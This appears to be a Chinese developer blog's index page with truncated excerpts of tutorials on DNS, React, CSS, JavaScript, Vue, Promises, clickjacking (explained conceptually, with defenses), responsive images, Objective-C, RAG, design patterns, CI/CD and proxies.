互联网中，一台计算机与其他计算机通信时，通过 IP地址 唯一的标志自己。此时的IP地址就类似于我们日常生活中的电话号码。但是，这种纯数字的标识是比较难记忆的，而且数量也比较庞大。例如，每个IPv4地址是一个32位长的二进制数字，或者采用点分十进制展示成192.168.1.1这种格式，有接近43亿个的IPv4地址。DNS的作用就是将人类可读的名称转换为机器识别的IP地址，供计算机相互连接。DNS的工作原理和电话簿相似，都是管理名称和数字之间的映射关系。就像我们日常打电话，一般使用人名查找，很少直接输入电话号码一样。当我们上网打开某个网页、视频时，也很少直接使用IP地址，而是在浏览器里输入的URL地址，例如：https://www.huawei.com，这其实使用的就是计算机的名字，一般称为域名。

域名的构成

最初设备的域名由字符序列组成、所有设备的域名组成一个未分级的域名结构。未分级的域名结构存在命名冲突、管理维护复杂的缺点。因此，TCP/IP把DNS的域名设计成了分级的树状结构。每个申请加入Internet的国家都要向NIC注册一个顶级域名，顶级域采用组织模式和地理模式的划分模式，如cn代表中国、us代表美国等。

常见的顶级域名如下表所示。NIC将顶级域的管理权分派给由其指定的管理机构，由这些管理机构再对被授权管理的域继续进行划分，从而形成了二级域。负责划分二级域的管理机构可以授权其下属的管理结构，由它们继续划分域。由此下去，便形成了层次型的Internet域名体系结构。

顶级Internet域名	含义
com	商业组织
edu	教育机构
gov	政府机构
mil	军事部门
net	主要网络支持中心
int	国际组织
org	其他组织
国家代码	国家（按照地理模式划分）

从语法上讲，每一个域名都是有标号序列组成，而各标号之间用点（小数点）隔开。以www.huawei.com域名为例，从右到左依次是：

com：顶级域名。代表商业组织。
huawei：二级域名，归属于某个公司自己的域名。
www：三级域名，表明某个公司提供的是什么服务，www代表普通网页。

DNS服务器、DNS客户端和DNS中继

网络中与DNS相关的设备角色包括DNS服务器、DNS客户端和DNS中继。

DNS服务器

DNS服务器是将域名指向对应IP地址的服务器。DNS服务器中保存了一张域名和与之相对应的IP地址的表，以解析消息的域名。

由于互联网连通的是全球资源，单一的域名服务器不足以支撑全部的地址转换操作，因此全球有多套域名服务器相互配合使用。

域名是分层结构，域名DNS服务器也是对应的层级结构。通过根域名服务器，依次请求顶级域名服务器和权威域名服务器，最终获取对应IP地址，并将该结果保存在本地域名服务器，以待下次DNS请求使用。当用户再次对同一域名发起访问时，可以直接从本地域名服务器获得结果，无需再次发起全球递归查询。

表1-2 DNS服务器的分类

分类	作用
根DNS服务器	根DNS服务器是最高层次的域名服务器，它知道所有顶级服务器的域名和IP地址，当本地域名服务器无法对域名进行解析时，首先对根域名服务器发起请求。
顶级域名服务器	顶级域名服务器负责管理该服务器下的所有二级域名，当收到DNS查询请求时，就会给权威域名服务器相应的回答。
权威域名服务器	负责某一个区域的域名服务器。当一个顶级域名服务器还不能给出最后查询回答时，就会告知下一步应当请求的权威域名服务器。
本地域名服务器	当一个主机发出DNS查询请求时，这个查询请求报文就发送给本地域名服务器。每一个互联网服务提供者ISP都可以拥有一个本地域名服务器。当本地域名服务器无法给出应答时，就会请求最高级的根域名服务器。

DNS客户端

DNS客户端的作用是接收用户程序（User Program）的DNS请求，并对其作出回应。作为DNS客户端的设备上一般具备以下能力：

启动DNS解析要使用DNS客户端功能，需要在设备上打开DNS解析的开关。
指定服务器的IP地址要进行DNS域名解析，需要在设备上指定DNS服务器的IP地址。这样才能把查询请求发动到正确的DNS服务器上进行解析。
指定DNS域后缀搜索列表 DNS客户端所访问的一些服务器或主机的域名后缀往往都是相同的。用户可以预先设置一些域名后缀，在域名解析的时候，用户只需要输入域名的部分字段，系统会自动将输入域名加上不同的后缀进行解析。例如，用户想查询域名“huawei.com”，那么可以在后缀列表中配置com，然后输入“huawei”，系统会自动将输入域名与后缀连接成“huawei.com”进行查询。

DNS中继

当DNS服务器的IP地址发生变化时，用户网络中每个DNS客户端上的配置都需要改变，这样工作量极大并且容易出错。此时，可以通过部署DNS中继解决该问题。DNS客户端上配置DNS中继的IP地址，DNS服务器的IP地址在DNS中继上配置。之后，DNS客户端会将DNS请求报文直接发送给DNS中继，由DNS中继将收到的DNS请求报文转发至DNS服务器。由此，当DNS服务器的IP地址发生变化时，仅需改变DNS中继上的配置即可，简化了网络管理。

DNS中继的工作原理

DNS客户端将DNS请求报文发送给DNS中继，即请求报文的目的地址为DNS中继的IP地址。
DNS中继收到请求报文后，将报文转发给DNS服务器，通过DNS服务器进行域名解析。

DNS域名解析过程

通过域名获取对应IP地址的过程称为域名解析。DNS域名解析分为以下两种方式：

静态域名解析静态域名解析是通过静态域名解析表进行的，即手动建立域名和IP地址之间的对应关系表，该表的作用可以将一些常用的域名放入表中。当DNS客户端需要域名所对应的IP地址时，即到静态域名解析表中去查找指定的域名，从而获得所对应的IP地址，提高域名解析的效率
动态域名解析动态域名解析需要专用的域名解析服务器（DNS服务器）运行域名解析服务器程序，提供从域名到IP地址的映射关系，负责接收客户提出的域名解析请求。

为提高查询速度，在解析域名时，首先采用静态域名解析的方法，如果静态解析不成功，再采用动态域名解析的方法。

列表和key

Tue, 17 Dec 2024 00:00:00 +0800

当我们在 React 要渲染一个列表时，如果没有在每一个被渲染的元件加上 key 这个 prop，就会跳出 Warning: Each child in a list should have a unique “key” prop. 这个错误讯息。直到开发者把 key 加上后，这个警告讯息才会消失。为什么要加上 key? 以及 key 有什么原则需要遵守? 这是在开发 React 时需要有的重要概念，也是面试经常会问的基础题。

为什么需要 key？

key 就像一个独特身份，让 React 可以去分辨哪些子元件被新增、移除，或是修改。 (编按：若要进一步说明此概念，推荐在面试时画下 Dan Abramov 的这个系列推文例子)

从上面的例子可以看到，当今天红黄蓝三个圈，变成红蓝黄；这会有两个可能性。可能性一第二个圈跟第三个圈的位置互换；可能性二是位置没互换，但第二个圈变蓝色、第三个圈变黄色。如果没有一个独特辨识的机制，我们会没办法知道，究竟是哪一个可能性。

如果没办法有效辨识，将可能出现 bug。举例来说，假如今天的圈圈是有状态的，例如里面有勾选方块，然后第个二圈有被勾选。假如今天换颜色是因为第二个圈被交换到第三个位置，这时表示新一次的渲染时，第三个圈要是被勾选的。不过假如我们没有一个辨识机制，要是 React 误以为换颜色不是因为换位置，而是单纯的第二个圈换颜色，那么将会渲染出仍是第二个圈是被勾选的；那么这就会是一个 bug。

然而，有了 key 这个辨识机制，React 就会知道在新的一次渲染时，原本的状态应该被保留在列表中的哪一个元件中。因此，React 之所以需要 key，正是因为 key 可以让 React 知道，哪些子元件被新增、移除，或是修改。

除此之外，看到下面这段 React 官方文件的例子 (编按：面试时也推荐直接举这例子)。原本有个列表，我们在最上方新增一个 <li>Connecticut</li> ，如果没有 key，对 React 来说将会是，Duke 变成 Connecticut、Villanova 变成 Duke，而最后新增一个 Villanova。换句话说，整个列表都改变了，所以 React 会打掉旧的，重建一个新的列表。当列表变大时，就会很消耗效能。

position: sticky

Sat, 09 Nov 2024 00:00:00 +0800

如果问，CSS 中 position 属性的取值有几个？大部分人的回答大概是 static、relative、absolute、fixed，实际上MDN上还有一个 sticky。

今天我们就来给大家介绍这个容易被忽视的position属性值 sticky。

先来看看MDN上对于 sticky 的介绍：

粘性定位元素（stickily positioned element）是计算后位置属性为 sticky 的元素。

粘性定位可以被认为是相对定位和固定定位的混合。

什么是结合两种定位功能于一体呢？

元素在跨越特定阈值前为相对定位，之后为固定定位。

也就是元素先按照普通文档流定位，然后相对于该元素在流中的 flow root（BFC）和 containing block（最近的块级祖先元素）定位。

元素定位表现为在跨越特定阈值前为相对定位，之后为固定定位。

这个特定阈值指的是 top、right、bottom 或 left 之一，换言之，指定 top、right、bottom 或 left 四个阈值其中之一，才可使粘性定位生效。否则其行为与相对定位相同。

示例

上面的文字描述估计还是很难理解，看看下面这张 GIF 图，想想要实现的话，使用 JS + CSS 的方式该如何做：

按照常规做法，大概是监听页面 scroll 事件，判断每一区块距离视口顶部距离，超过了则设定该区块 position:fixed，反之去掉。

而使用 position:sticky ，则可以非常方便的实现：

<div class="container">
 <div class="sticky-box">内容1</div>
 <div class="sticky-box">内容2</div>
 <div class="sticky-box">内容3</div>
 <div class="sticky-box">内容4</div>
</div>

.container {
 background: #eee;
 width: 600px;
 height: 1000px;
 margin: 0 auto;
}

.sticky-box {
 position: sticky;
 height: 60px;
 margin-bottom: 30px;
 background: #ff7300;
 top: 0px;
}

div {
 font-size: 30px;
 text-align: center;
 color: #fff;
 line-height: 60px;
}

看看上面的 CSS 代码，只是给每个内容区块加上

全方位解读this

Wed, 06 Nov 2024 00:00:00 +0800

我们在学习JavaScript的过程中，由于对一些概念理解得不是很清楚，但是又想要通过一些方式把它记下来，于是就很容易草率的给这些概念定下一些方便自己记忆的有偏差的结论。

危害比较大的是，有的不准确的结论在网上还广为流传。

比如对于this指向的理解中，有这样一种说法：谁调用它，this就指向谁。在我刚开始学习this的时候，我是非常相信这句话的。因为在一些情况下，这样理解也还算说得通。可是我常常会在开发中遇到一些不一样的情况，一个由于this的错误调用，可以让我懵逼一整天。那个时候我也查资料，在群里问大神，可是我仍然搞不清楚“我特么到底错哪里了”。其实只是因为我心中有一个不太准确的结论。

所以，我认为需要有这样一篇文章，来帮助大家全方位的解读this。让大家对this，有一个正确的，全面的认知。

在这之前，我们需要来回顾一下执行上下文。

在前面的几篇文章中，我有好几个地方都提到执行上下文的生命周期，为了防止大家没有记住，再次来回顾一下，如下图。

在执行上下文的创建阶段，会分别生成变量对象，建立作用域链，确定this指向。其中变量对象与作用域链我们都已经仔细总结过了，而这里的关键，就是确定this指向。

首先我们需要得出一个非常重要一定要牢记于心的结论，**this的指向，是在函数被调用的时候确定的。**也就是执行上下文被创建时确定的。因此，一个函数中的this指向，可以是非常灵活的。比如下面的例子中，同一个函数由于调用方式的不同，this指向了不一样的对象。

var a = 10;
var obj = {
 a: 20
}

function fn () {
 console.log(this.a);
}

fn(); // 10
fn.call(obj); // 20

除此之外，在函数执行过程中，this一旦被确定，就不可更改了。

var a = 10;
var obj = {
 a: 20
}

function fn () {
 this = obj; // 这句话试图修改this，运行后会报错
 console.log(this.a);
}

fn();

一、全局对象中的this

关于全局对象的this，我之前在总结变量对象的时候提到过，它是一个比较特殊的存在。全局环境中的this，指向它本身。因此，这也相对简单，没有那么多复杂的情况需要考虑。

// 通过this绑定到全局对象
this.a2 = 20;

// 通过声明绑定到变量对象，但在全局环境中，变量对象就是它自身
var a1 = 10;

// 仅仅只有赋值操作，标识符会隐式绑定到全局对象
a3 = 30;

// 输出结果会全部符合预期
console.log(a1);
console.log(a2);
console.log(a3);

二、函数中的this

在总结函数中this指向之前，我想我们有必要通过一些奇怪的例子，来感受一下函数中this的捉摸不定。

// demo01
var a = 20;
function fn() {
 console.log(this.a);
}
fn();

// demo02
var a = 20;
function fn() {
 function foo() {
 console.log(this.a);
 }
 foo();
}
fn();

// demo03
var a = 20;
var obj = {
 a: 10,
 c: this.a + 20,
 fn: function () {
 return this.a;
 }
}

console.log(obj.c);
console.log(obj.fn());

这几个例子需要花点时间仔细感受一下，如果你暂时没想明白怎么回事，也不用着急，我们一点一点来分析。

组件通信

Fri, 04 Oct 2024 00:00:00 +0800

Vue3 组件通信方式

props
$emit
expose / ref
$attrs
v-model
provide / inject
Vuex
mitt

Vue3 通信使用写法

1. props

用 props 传数据给子组件有两种方法，如下

方法一，setup() 方法写法

// Parent.vue 传送
<child :msg1="msg1" :msg2="msg2"></child>
<script>
import child from "./child.vue"
import { ref, reactive } from "vue"
export default {
 data(){
 return {
 msg1:"这是传级子组件的信息1"
 }
 },
 setup(){
 // 创建一个响应式数据

 // 写法一 适用于基础类型 ref 还有其他用处，下面章节有介绍
 const msg2 = ref("这是传级子组件的信息2")

 // 写法二 适用于复杂类型，如数组、对象
 const msg2 = reactive(["这是传级子组件的信息2"])

 return {
 msg2
 }
 }
}
</script>

// Child.vue 接收
<script>
export default {
 props: ["msg1", "msg2"],// 如果这行不写，下面就接收不到
 setup(props) {
 console.log(props) // { msg1:"这是传给子组件的信息1", msg2:"这是传给子组件的信息2" }
 },
}
</script>

方法二，setup 语法糖

Promise

Wed, 02 Oct 2024 00:00:00 +0800

Promise 是在 ES6 出现的新功能，并且是用来优化过去回调函式 callback 的写法。这篇面试详解中会讨论到， promise 是什么、为什么需要有 Promise，以及延伸到 async/await 相关问题。

为什么要使用 Promise？

在探讨 Promise 之前，我们先来看一下为什么需要它的出现。

JavaScript 中有一个重要概念 - 异步 (async)，它允许我们在执行耗时任务时，不必等待程式完成，而是继续执行下面的代码，直到任务完成再通知。常用的异步操作有：文件操作、数据库操作、AJAX 以及定时器等。

JavaScript 有两种实现异步的方式：

第一种：回调函式 callback function

在 ES6 promise 出现之前，通常使用回调函式 (callback) 实现异步操作。但使用回调函式 callback 存在一个明显的缺点，当需要执行多个异步操作时，代码会不断往内嵌套，这种情况通常被称为「callback 地狱」(callback hell)。

callback(() => {
 console.log("Hello!");
 callback(() => {
 console.log("Hello!");
 callback(() => {
 console.log("Hello!");
 callback(() => {
 console.log("Hello!");
 }, 200);
 }, 200);
 }, 200);
}, 200);

而为了解决这种问题，就出现了第二种方法 - promise。

什么是 Promise？

上一段提到 Promise 出现的原因，这一段我们来看那到底 Promise 是什么。

点击劫持

Wed, 02 Oct 2024 00:00:00 +0800

一、简介

点击劫持是一种视觉上的欺骗手段。攻击者使用一个透明的、不可见的iframe,覆盖在一个网页上，然后诱使用户在该网页上进行操作，此时用户在不知情的情况下点击透明的iframe页面。通过调整iframe页面的位置，可以诱使用户恰好点击在iframe页面的一些功能性按钮上。

虽然受害者点击的是他所看到的网页，但其实他所点击的是被黑客精心构建的另一个置于原网页上面的透明页面

Clickjacking 是仅此于 XSS 和 CSRF 的前端漏洞，因为需要诱使用户交互，攻击成本高，所以不被重视，但危害不容小觑。

点击劫持的步骤

黑客创建一个网页利用 iframe 包含目标网站；
隐藏目标网站，使用户无法无法察觉到目标网站存在；
构造网页，诱变用户点击特点按钮；
用户在不知情的情况下点击按钮，触发执行恶意网页的命令；

二、劫持类型

2.1 Flash点击劫持

攻击者通过flash构造了点击劫持，在完成一系列复杂的动作后，最终控制了用户的摄像头。

攻击者制作了一个Flash游戏，这个游戏就是让用户去点击“CLICK”按钮，每次点击后这个按钮的位置都会发生变化。在Flash上面隐藏了一个看不见的iframe，游戏中某些点击时是有意义的，有些点击是无效的。攻击通过诱导用户鼠标点击就能完成较复杂的动作。最终通过这一步步操作，打开了用户的摄像头。

2.2 图片覆盖攻击

点击劫持是一种视觉上的欺骗手段。那么图片覆盖也可以起到类似的作用。简称XSIO（Cross Site Image Overlaying）

原理： 利用的是图片的style,或者能够控制CSS。如果应用没有限制style的position为absolute的话，图片可以覆盖到页面上的任意位置。

<img style="position: absolute; left: 100px; top: 100px">

用户点击图片，就会链接到其他网站。

图片还可以伪装得像一个正常的链接、按钮；或者在图片中构造一些文字，覆盖在关键的位置，就有可能完全改变页面中想表达的意思。这种情况下，不需要用户点击，也能达到欺骗的目的。

由于img标签在很多系统中是对用户开放的，因此在现实生活中有非常多的站点存在在XSIO攻击的可能。在防御XSIO时，需要检查用户提交的HTML代码中，img标签的style属性是否可能导致浮出。

2.3 拖拽劫持与数据窃取

目前，许多浏览器都开始支持Drag和Drop的API。对于用户来说，拖拽使他们的操作更加简单。浏览器中的拖拽对象可以是一个链接，也可以是一段文字，还可以从一个窗口拖拽到另一个窗口，因此拖拽是_不受同源策略限制_的。

拖拽劫持的思路是诱使用户从隐藏不可见iframe中拖拽出攻击者希望得到的数据，然后放到攻击者能控制的另外一个页面，从而窃取数据。在JavaScript的支持下，这个攻击过程会变得非常隐蔽，因为它突破了传统ClickJacking一些先天的局限，所以这种新型的拖拽劫持能够造成更大的破坏。

2.4 ClickJacking3.0：触屏劫持

智能手机的 触屏劫持 攻击被斯坦福的安全研究者公布，这意味着ClickJacking的攻击方式更进一步，斯坦福安全研究者的将其称为TapJacking。

从手机角度来看，触屏实际上就是一个事件，手机捕捉这些事件，并执行相应的动作。常见的几个事件：

touchstart: 手指触摸屏幕时发生
touchend: 手指离开屏幕时发生
touchmove: 手指滑动时发生
touchcancel: 系统可取消touch事件

将一个不可见的iframe覆盖到当前网页上，就可以劫持用户的触屏操作。

在未来，随着移动设备中浏览器功能的丰富，我们会看到更多的TapJacking

三、防御

3.1 防御ClickJacking

3.1.1 frame busting

通过可以写一段JavaScript代码，以禁止iframe的嵌套。这种方法叫作frame busting。比如

响应式图片

Fri, 27 Sep 2024 00:00:00 +0800

响应式是指实现不同屏幕分辨率的终端上浏览网页的不同展示方式。

本知识点的主要内容有：

为什么要使用响应式图片
怎么实现响应式图片

1、为什么要使用响应式图片

假如有一张图片的显示宽度为200px，那么，它在 1x（即设备像素比为 1 的显示器）的显示器上，是占了 200 个物理像素（即实际所占的像素）；它在 2x 的显示器上，实际上是占了 400 个物理像素；在 3x 的显示器上，实际上是占了 600 个物理像素；在 4x 的显示器上就是占了 800 个物理像素。

如果这个图片只提供 200 像素的尺寸，那么在 2x~4x 的显示器上看起来就很模糊。如果只提供 800 像素的版本，那么在 1x~3x 的设备上会显得多余，因为加载时间会相较长，所以我们要使用响应式图片。

再比如一个场景，相同的banner，在电脑上需要使用大图，但是手机上面使用小图，不然会造成手机上加载慢浪费流量等问题，这也可以使用响应式图片来解决。

2、实现方法

css3 media query

一个办法是使用backgound-image结合媒体查询，如下所示：

.banner{
 background-image: url(/static/large.jpg);
}

@media screen and (max-width: 767px){
 background-image: url(/static/small.jpg);
}

这种方法的缺点是对SEO不太友好，因为如果使用img标签还可以写个alt属性。

picture标签

<picture>
 <source srcset="banner_w1000.jpg" media="(min-width: 801px)">
 <source srcset="banner_w800.jpg" media="(max-width: 800px)">
 <img src="banner_w800.jpg" alt="">
</picture>

如上，如果页面宽度大于800px（PC），则加载大图，而在手机上加载小图。这样写浏览器就只会加载source里面的一张图片。但是如果是用js动态插进去的，它还是会去加载两张，只有写在html里面加载初始化页面的时候才只加载一张。

picture必须要写img标签，否则无法显示，对picture的操作最后都是在img上面，例如onload事件是在img标签触发的，picture和source是不会进行layout的，它们的宽和高都是0。

另外使用source，还可以对图片格式做一些兼容处理：

<picture>
 <source type="image/webp" srcset="banner.webp">
 <img src="banner.jpg" alt="">
</picture>

webp在保持同等清晰度的情况下，体积可以减少一半，但是目前只有Chrome支持，Safari和firefox一直处于实验阶段，所以其它的浏览器如firefox将会加载jpg格式的照片：

Objective-C底层原理 - NSObject

Sat, 02 May 2026 22:32:27 +0800

本文将深入探讨Objective-C中所有对象的基类NSObject的底层实现原理，涵盖对象本质、isa指针机制、Tagged Pointer、引用计数、内存布局等核心概念。

NSObject 的本质：C 结构体

在Objective-C的底层实现中，NSObject的本质是一个C结构体。在苹果运行时源码中可以看到：

// 底层运行时定义
struct objc_object {
 Class isa; // 指向对象所属类的指针
};

// 类型别名定义
typedef struct objc_object NSObject;

这意味着，当我们通过NSObject *obj = [[NSObject alloc] init];创建一个 NSObject 实例时，实际上在堆上分配了一个struct objc_object结构体，而变量obj只是一个指向该结构体的指针。

// 这行代码在底层实际上做了类似下面的事情：
NSObject *obj = [[NSObject alloc] init];

// 等效的伪C代码:
// 1. 调用 alloc 类方法，其核心是调用 malloc 在堆上分配一块足够大的内存
// 大小至少是 sizeof(struct objc_object)，即一个isa指针的大小
NSObject *obj = (NSObject *)malloc(sizeof(struct objc_object));

// 2. 初始化这块内存，最重要的是设置 isa 指针，让它指向 NSObject 这个类
obj->isa = [NSObject class]; // 实际过程更复杂，但本质如此

// 3. 其他初始化工作 (init)

那么这里提到的isa指针是什么呢？

RAG（检索增强生成）

Sat, 02 May 2026 22:32:27 +0800

大语言模型（LLM）能流畅地写文章、回答问题、编写代码，但它有一个根本性的局限：它的知识被冻结在训练数据截止的那一刻。问它昨天发生了什么新闻？不知道。问它你公司内部的技术文档？更不知道。

更棘手的是，LLM有时候会"一本正经地胡说八道"——这就是所谓的**幻觉（Hallucination）**问题。模型会自信满满地编造一个不存在的论文引用、一个错误的API参数、甚至一个虚构的历史事件。

**RAG（Retrieval-Augmented Generation，检索增强生成）**正是为解决这些问题而生。它的核心思想简单而有效：在让LLM回答之前，先从外部知识库中检索相关信息，把这些信息塞到提示词（Prompt）里，让LLM基于真实资料来回答。

一、RAG的核心思想

1.1 一个直觉的类比

想象你是一个闭卷考试的学生（这就是纯LLM）——只能靠记忆作答，记不清的地方就只能猜。

现在允许你带一本参考书（这就是RAG）——遇到不确定的问题，先翻书找到相关段落，然后基于书中的内容来组织答案。

显然，开卷考试的准确率会高得多。

1.2 RAG的核心价值

LLM的局限	RAG的解决方案
知识过期，无法获取训练截止后的信息	随时更新知识库，实时生效
幻觉问题，生成不存在的信息	基于真实文档生成，可追溯来源
垂直领域知识不足	接入专业知识库，提供领域专业回答
更新成本高，Fine-tuning代价大	只需更新知识库，成本低且灵活

1.3 RAG的基本流程

graph LR
Q["用户提问"] --> R["检索器
Retriever"]
KB["知识库"] --> R
R --> C["相关文档片段"]
C --> P["构造Prompt
问题 + 相关文档"]
P --> LLM["大语言模型"]
LLM --> A["生成回答"]

三个核心步骤：

检索（Retrieve）：根据用户的问题，从知识库中找到最相关的文档片段
增强（Augment）：将检索到的信息与原始问题一起构造成Prompt
生成（Generate）：LLM基于增强后的Prompt生成回答

二、从关键词到语义：检索方式的演进

2.1 传统关键词搜索的局限

最简单的检索方式是关键词匹配。比如用户问"如何购买商品？"，搜索引擎会提取关键词"购买"、“商品”，然后去匹配包含这些词的文档。

问题很明显：

文档中写的是"下单流程说明"——语义完全一致，但没有任何关键词重合
无法理解同义词：“购买"vs"下单"vs"采购"vs"买”
必须精确匹配关键词，用词不同就检索不到

我们需要一种理解语义的检索方式。

2.2 文本嵌入（Text Embedding）

文本嵌入模型（如OpenAI的text-embedding-3-small、BGE等）将文本转换为高维向量（通常512/768/1024/1536维），使得语义相近的文本在向量空间中距离相近：

"如何购买商品？" → [0.23, -0.15, 0.82, ...] (768维向量)
"下单流程说明" → [0.21, -0.12, 0.79, ...] ← 向量很近，语义匹配!
"今天天气真好" → [-0.65, 0.43, -0.21, ...] ← 向量很远

在高维向量空间中，每个维度代表不同的语义特征（如情感倾向、主题领域、动作类型等）。语义相似的文本会在空间中聚集在一起——“购买”、“下单”、“采购"形成一个语义簇，而"天气预报"则远离这个簇。

装饰器模式

Sat, 02 May 2026 22:32:27 +0800

定义

装饰器模式（Decorator Pattern）是一种结构型设计模式，它允许向现有对象动态添加新功能，同时又不改变其结构。装饰器通过创建一个包装对象来包裹真实对象，实现在不修改原有对象的基础上扩展功能。

装饰器模式的核心思想是：使用组合而非继承来扩展对象的功能，遵循"对扩展开放，对修改关闭"的原则。

为什么需要装饰器模式

装饰器模式要解决的核心问题是：在不修改原有对象的情况下，动态地给对象添加新功能。

问题场景

假设我们正在开发一个UI组件库，需要为UILabel添加各种视觉效果：圆角、阴影、边框、渐变背景等。而且这些效果需要能够自由组合。

方案一：使用继承（不推荐）

// 基础标签
class BasicLabel: UILabel {
 init(text: String) {
 super.init(frame: .zero)
 self.text = text
 }
}

// 圆角标签
class RoundedLabel: BasicLabel {
 override init(text: String) {
 super.init(text: text)
 layer.cornerRadius = 8
 clipsToBounds = true
 }
}

// 阴影标签
class ShadowLabel: BasicLabel {
 override init(text: String) {
 super.init(text: text)
 layer.shadowColor = UIColor.black.cgColor
 layer.shadowOffset = CGSize(width: 0, height: 2)
 layer.shadowOpacity = 0.3
 }
}

// 边框标签
class BorderLabel: BasicLabel {
 override init(text: String) {
 super.init(text: text)
 layer.borderWidth = 1
 layer.borderColor = UIColor.gray.cgColor
 }
}

// 如果需要圆角+阴影呢？
class RoundedShadowLabel: BasicLabel {
 override init(text: String) {
 super.init(text: text)
 // 重复圆角代码
 layer.cornerRadius = 8
 clipsToBounds = true
 // 重复阴影代码
 layer.shadowColor = UIColor.black.cgColor
 layer.shadowOffset = CGSize(width: 0, height: 2)
 layer.shadowOpacity = 0.3
 }
}

// 如果需要圆角+边框呢？
class RoundedBorderLabel: BasicLabel { /* 又要重复代码 */ }

// 如果需要阴影+边框呢？
class ShadowBorderLabel: BasicLabel { /* 继续重复代码 */ }

// 如果需要圆角+阴影+边框呢？
class RoundedShadowBorderLabel: BasicLabel { /* 所有代码都重复一遍 */ }

这种方式的问题：

持续集成/持续部署（CI/CD）

Thu, 07 Aug 2025 00:00:00 +0800

传统应用发布模式

开发人员：在开发环境完成代码编写，单元测试，测试通过后提交到代码仓库

运维人员：把项目部署到测试环境，供QA团队测试，测试通过后，部署生成环境

测试人员：进行测试，测试完成后通知运维部署生产环境

缺点

项目在早期就存在错误，但到最后集成的时候才发现
需要手动操作，易错率高
开发与运维需要及时沟通有了以上缺点，那么就有了CI/CD

CI/CD

持续集成(CI):

合并开发人员正在编写的所有代码
一天内进行多次合并和提交代码
从存储库或生产环境中进行构建和自动化测试，确保没有集成问题并及早发现任何问题

持续交付(CD):

可以通过将更改自动推送到发布系统来随时将软件发布到生产环境中
持续部署，并自动将更改推送到生产中

GitLab内置CI/CD

运行流水线任务

Job

在文件中可以定义一个或多个作业，每个作业具有唯一的名称，每个作业是独立执行的，每个作业至少包含一个script

stages：

用于定义作业可以使用的阶段，并且是全局定义，同一个阶段的作业并行运行，不同阶段按顺序运行

only：

用分支策略来限制jobs构建

script:

项目中package中的脚本

environment：

定义此作业完成部署的环境名称

下面是每个jobs的详细变量名

Keyword	Required	Description
script	yes	Runner执行的命令或脚本
image	no	所使用的docker镜像，查阅使用docker镜像
services	no	所使用的docker服务，查阅使用docker镜像
stage	no	定义job stage（默认：`test`）
type	no	`stage`的别名（已弃用）
variables	no	定义job级别的变量
only	no	定义一列git分支，并为其创建job
except	no	定义一列git分支，不创建job
tags	no	定义一列tags，用来指定选择哪个Runner（同时Runner也要设置tags）
allow_failure	no	允许job失败。失败的job不影响commit状态
when	no	定义何时开始job。可以是`on_success`，`on_failure`，`always`或者`manual`
dependencies	no	定义job依赖关系，这样他们就可以互相传递artifacts
cache	no	定义应在后续运行之间缓存的文件列表
before_script	no	重写一组在作业前执行的命令
after_script	no	重写一组在作业后执行的命令
environment	no	定义此作业完成部署的环境名称
coverage	no	定义给定作业的代码覆盖率设置

配置.gitlab-ci.yml

stages:
 - deploy_dev
 - deploy_test
 - deploy_production

deploy_dev:
 stage: deploy_dev
 environment:
 name: dev
 only:
 - dev
 script:
 - rsync -av . ${WORKSPACE_PATH} && cd ${WORKSPACE_PATH}
 - npm run build:dev
 - ansible-playbook ansible-deploy.yml --extra-vars "hosts=cloud_ui_test projectDir=${WORKSPACE_DIST_PATH} projectName=${PROJECT_NAME} webRootPath=/opt/devroot/"

deploy_test:
 stage: deploy_test
 environment:
 name: test
 only:
 - master
 script:
 - rsync -av . ${WORKSPACE_PATH} && cd ${WORKSPACE_PATH}
 - npm run build:stage
 - ansible-playbook ansible-deploy.yml --extra-vars "hosts=cloud_ui_test projectDir=${WORKSPACE_DIST_PATH} projectName=${PROJECT_NAME} webRootPath=${WEB_ROOT_PATH}"

deploy_production:
 stage: deploy_production
 only:
 - production
 when: manual
 script:
 - npm install
 - npm run build:prod
 - ansible-playbook ansible-deploy.yml --extra-vars "hosts=dvs-front-prod projectDir=${PROJECT_PATH} projectName=xianglin-cloud-ui/${PROJECT_NAME} webRootPath=/opt/"

上面这个.yml文件,我们首先定义了三个阶段，deploy_dev部署到dev环境，并且拉去的是dev分支代码; deploy_test部署到test环境，拉去的是master分支代码，deploy_production拉取production分支代码，执行完后需要手动操作

正向代理和反向代理

Mon, 28 Jul 2025 00:00:00 +0800

1. 概念

正向代理是一个位于客户端和目标服务器之间的代理服务器(中间服务器)。为了从原始服务器取得内容，客户端向代理服务器发送一个请求，并且指定目标服务器，之后代理向目标服务器转交并且将获得的内容返回给客户端。正向代理的情况下客户端必须要进行一些特别的设置才能使用。

反向代理正好相反。对于客户端来说，反向代理就好像目标服务器。并且客户端不需要进行任何设置。客户端向反向代理发送请求，接着反向代理判断请求走向何处，并将请求转交给客户端，使得这些内容就好似他自己一样，一次客户端并不会感知到反向代理后面的服务，也因此不需要客户端做任何设置，只需要把反向代理服务器当成真正的服务器就好了。

2. 区别

正向代理需要你主动设置代理服务器ip或者域名进行访问，由设置的服务器ip或者域名去获取访问内容并返回；而反向代理不需要你做任何设置，直接访问服务器真实ip或者域名，但是服务器内部会自动根据访问内容进行跳转及内容返回，你不知道它最终访问的是哪些机器。

正向代理是代理客户端，为客户端收发请求，使真实客户端对服务器不可见；而反向代理是代理服务器端，为服务器收发请求，使真实服务器对客户端不可见。

从上面的描述也能看得出来正向代理和反向代理最关键的两点区别：

是否指定目标服务器
客户端是否要做设置下面用一张图来表示两者的差异： 正向代理与反向代理

正向代理中，proxy和client同属一个LAN，对server透明；反向代理中，proxy和server同属一个LAN，对client透明。实际上proxy在两种代理中做的事都是代为收发请求和响应，不过从结构上来看正好左右互换了下，所以把前者那种代理方式叫做正向代理，后者叫做反向代理。

从用途上来区分：

正向代理：正向代理用途是为了在防火墙内的局域网提供访问internet的途径。另外还可以使用缓冲特性减少网络使用率
反向代理：反向代理的用途是将防火墙后面的服务器提供给internet用户访问。同时还可以完成诸如负载均衡等功能

从安全性来讲：

正向代理：正向代理允许客户端通过它访问任意网站并且隐蔽客户端自身，因此你必须采取安全措施来确保仅为经过授权的客户端提供服务
反向代理：对外是透明的，访问者并不知道自己访问的是代理。对访问者而言，他以为访问的就是原始服务器

3. 使用场景

正向代理的典型用途是为在防火墙内的局域网客户端提供访问Internet的途径。正向代理还可以使用缓冲特性减少网络使用率。反向代理的典型用途是将防火墙后面的服务器提供给Internet用户访问。反向代理还可以为后端的多台服务器提供负载平衡，或为后端较慢的服务器提供缓冲服务。

3.1 正向代理

从上面的介绍也就可以猜出来正向代理的至少一个功能（俗称翻墙），也即：

